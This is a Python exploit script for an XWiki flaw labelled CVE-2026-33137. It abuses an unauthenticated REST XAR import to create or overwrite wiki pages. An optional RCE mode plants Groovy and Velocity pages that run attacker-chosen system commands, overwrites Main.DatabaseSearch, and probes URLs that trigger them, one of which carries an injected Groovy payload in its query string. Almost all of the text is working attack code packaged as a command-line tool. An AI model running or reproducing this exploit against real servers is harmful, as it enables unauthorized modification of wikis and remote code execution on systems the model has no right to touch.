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| #!/usr/bin/env python3
"""
CVE-2026-33137 - XWiki Unauthenticated XAR Import via REST /wikis/{wikiName}
The POST /wikis/{wikiName} REST API endpoint in XWiki executes a XAR import
without performing any authentication or authorization checks, allowing an
unauthenticated attacker to create or update arbitrary documents in the target wiki.
Affected versions: prior to 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
Patched in: 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
"""
import io, re, zipfile, argparse, sys
try:
import requests
except ImportError:
print("[-] Missing 'requests' library. Install with: pip install requests")
sys.exit(1)
PATCHED = [(16,10,17), (17,4,9), (17,10,3), (18,0,1), (18,1,0)]
def _parse_version(v: str):
try:
return tuple(int(p) for p in v.strip().split("-")[0].split(".")[:3])
except ValueError:
return None
def _is_vulnerable(v: str):
pv = _parse_version(v)
return None if pv is None else all(pv < p for p in PATCHED)
def _is_xwiki(resp):
ct = (resp.headers.get("Content-Type") or "").lower()
b = (resp.text or "").strip()
return (b.startswith("<?xml") and "<wiki" in b[:200]) or \
(ct.startswith("application/xml") and "<wiki" in b[:200]) or \
(ct in ("application/xml","application/json") and "<link" in b[:500] and "rel=" in b[:500] and "wiki" in b[:200])
def _get_rest_base(target):
try:
r = requests.get(f"{target}/xwiki/bin/login", timeout=10)
m = re.search(r'data-xwiki-rest-url="([^"]+)"', r.text)
if m:
return re.sub(r'/spaces/.*', '', m.group(1)).rstrip("/")
except: pass
return None
def _get_version(target, sess):
try:
r = sess.get(f"{target}/rest/wikis/xwiki", timeout=10)
hv = r.headers.get("XWiki-Version")
if hv and hv[0].isdigit(): return hv
except: pass
try:
r = sess.get(f"{target}/xwiki/bin/login", timeout=10)
m = re.search(r'xwiki-version=(\d[\d.]+)', r.text)
if m: return m.group(1)
m = re.search(r'xwiki-platform-[\w-]+webjar/(\d[\d.]+)/', r.text)
if m: return m.group(1)
except: pass
return None
def _build_xar(space, page, content, title=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('package.xml', '<package><name>P</name><backupPack>true</backupPack></package>')
zf.writestr(f'{space}/{page}.xml',
f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{space}.{page}" locale="">'
f'<web>{space}</web><name>{page}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
f'<date>1748217600000</date><version>1.1</version><title>{title or page}</title>'
f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{content}</content></xwikidoc>')
return buf.getvalue()
def _build_rce_xar(cmd):
pages = [
("CVE","RCEGroovy", f'{{{{groovy}}}}{cmd}.execute(){{{{/groovy}}}}'),
("CVE","RCEVelocity", f'{{{{velocity}}}}\n$util.getClass("java.lang.Runtime").getRuntime().exec("{cmd}")\n{{{{/velocity}}}}'),
("CVE","RCEScript", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
("Main","DatabaseSearch", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
]
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('package.xml', '<package><name>RCE</name><backupPack>true</backupPack></package>')
for s, p, c in pages:
zf.writestr(f'{s}/{p}.xml',
f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{s}.{p}" locale="">'
f'<web>{s}</web><name>{p}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
f'<date>1748217600000</date><version>1.1</version><title>{p}</title>'
f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{c}</content></xwikidoc>')
return buf.getvalue()
def _find_endpoint(target, wiki_name, sess):
base = _get_rest_base(target)
if base:
return f"{target}{base}"
for c in [f"{target}/rest/wikis/{wiki_name}", f"{target}/xwiki/rest/wikis/{wiki_name}"]:
try:
if sess.get(c.replace(f"/{wiki_name}", ""), timeout=10).status_code < 500:
return c
except: pass
return None
def _post_xar(endpoint, xar, sess):
try:
r = sess.post(endpoint, data=xar,
headers={"Content-Type":"application/octet-stream","Accept":"application/xml"},
params={"backup":"true","historyStrategy":"OVERVERSIONS"}, timeout=15)
return (r.status_code in (200,201,204) and _is_xwiki(r)), r.status_code
except Exception as e:
return False, str(e)
def _check_trigger(ep, label=""):
try:
r = requests.get(ep, timeout=10, allow_redirects=False)
return r.status_code
except: return "ERR"
def probe(target):
print(f"[*] Probe: {target}")
for path in ["/","/xwiki/bin/view/Main/","/xwiki/bin/login","/xwiki/rest/wikis"]:
try:
r = requests.get(f"{target}{path}", timeout=10)
t = r.text.lower() if r.text else ""
s = "[XWIKI]" if _is_xwiki(r) else "[CONTENT]" if "data-xwiki" in t else ""
print(f" {path:32s} HTTP {r.status_code} {s}")
except Exception as e:
print(f" {path:32s} ERR {e}")
v = _get_version(target, requests.Session())
if v:
vu = _is_vulnerable(v)
print(f" version: {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")
def exploit(target, wiki_name="xwiki", space="CVE", page="PoCTest",
content="Pwned via CVE-2026-33137", verify=True, proxy=None):
sess = requests.Session()
if proxy: sess.proxies = {"http": proxy, "https": proxy}
v = _get_version(target, sess)
if v:
vu = _is_vulnerable(v)
print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")
ep = _find_endpoint(target, wiki_name, sess)
if not ep:
print("[-] Could not find REST endpoint"); return False
ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
if not ok:
print(f"[-] XAR import: HTTP {code}"); return False
print(f"[+] XAR import: HTTP {code}")
ok2, _ = _post_xar(ep, _build_xar(space, page, content, page), sess)
if not ok2:
print("[-] Document creation failed"); return False
print(f"[+] Document created: {space}.{page}")
if verify:
for epv in [f"{target}/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}",
f"{target}/xwiki/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}"]:
try:
r = sess.get(epv, headers={"Accept":"application/json"}, timeout=10)
if r.status_code == 200:
print(f"[+] Verified: document readable at {epv.rsplit('/',1)[-1]}")
return True
except: pass
print("[*] Verify: document exists but requires auth to read")
return True
def rce_exploit(target, command, wiki_name="xwiki",
username=None, password=None, proxy=None):
sess = requests.Session()
if proxy: sess.proxies = {"http": proxy, "https": proxy}
if username and password:
sess.auth = (username, password)
v = _get_version(target, sess)
if v:
vu = _is_vulnerable(v)
print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")
print(f"[*] Command: {command}")
ep = _find_endpoint(target, wiki_name, sess)
if not ep:
print("[-] Could not find REST endpoint"); return False
print(f"[*] REST: {ep}")
ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
if not ok:
print(f"[-] XAR import: HTTP {code}"); return False
print(f"[+] XAR import: HTTP {code}")
ok2, _ = _post_xar(ep, _build_rce_xar(command), sess)
if not ok2:
print("[-] RCE page import failed"); return False
print("[+] RCE pages imported (CVE.RCEGroovy, CVE.RCEVelocity, CVE.RCEScript, Main.DatabaseSearch)")
print("\n Trigger paths:")
table = []
for p in [f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy",
f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy?sheet=CVE.RCEGroovy",
f"/xwiki/bin/view/CVE/RCEGroovy",
f"/xwiki/bin/get/CVE/RCEGroovy?outputSyntax=plain",
f"/xwiki/bin/view/CVE/RCEVelocity",
f"/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text={{{{/async}}}}{{{{groovy}}}}{command}.execute(){{{{/groovy}}}}"]:
c = _check_trigger(f"{target}{p}")
if isinstance(c, int) and c in (200,304):
s = "OK"
elif isinstance(c, int) and c in (301,302,307,308):
s = "redirect"
elif isinstance(c, int) and c == 401:
s = "unauthorized"
elif isinstance(c, int) and c == 403:
s = "forbidden"
elif isinstance(c, int):
s = f"HTTP {c}"
else:
s = c
label = p[:65] + "..." if len(p) > 68 else p
table.append((label, s))
for label, s in table:
print(f" {label:68s} {s}")
rendered = any("OK" in s for _, s in table)
authed = username and password
blocked = any(s == "redirect" or s == "unauthorized" for _, s in table)
print()
if rendered:
print("[+] RCE trigger path is accessible!")
else:
if authed:
print("[!] Trigger paths blocked (check credentials / scripting rights)")
else:
print("[!] Trigger paths blocked by authentication")
print(f" XAR import (CVE-2026-33137): WORKING")
print(f" Page rendering: {'ACCESSIBLE' if rendered else 'BLOCKED'}")
return True
def main():
p = argparse.ArgumentParser(description="CVE-2026-33137 - XWiki Unauthenticated XAR Import PoC")
p.add_argument("-t","--target", required=True)
p.add_argument("-w","--wiki", default="xwiki")
p.add_argument("-s","--space", default="CVE")
p.add_argument("-p","--page", default="PoCTest")
p.add_argument("-c","--content", default="Pwned via CVE-2026-33137")
p.add_argument("--proxy")
p.add_argument("--probe", action="store_true")
p.add_argument("--no-verify", action="store_true")
p.add_argument("--rce", metavar="COMMAND")
p.add_argument("-u","--username")
p.add_argument("--password")
args = p.parse_args()
target = args.target.rstrip("/")
if args.probe:
probe(target)
return
if args.rce:
sys.exit(0 if rce_exploit(target, args.rce, args.wiki,
args.username, args.password, args.proxy) else 1)
sys.exit(0 if exploit(target, args.wiki, args.space, args.page,
args.content, not args.no_verify, args.proxy) else 1)
if __name__ == "__main__":
main()
|
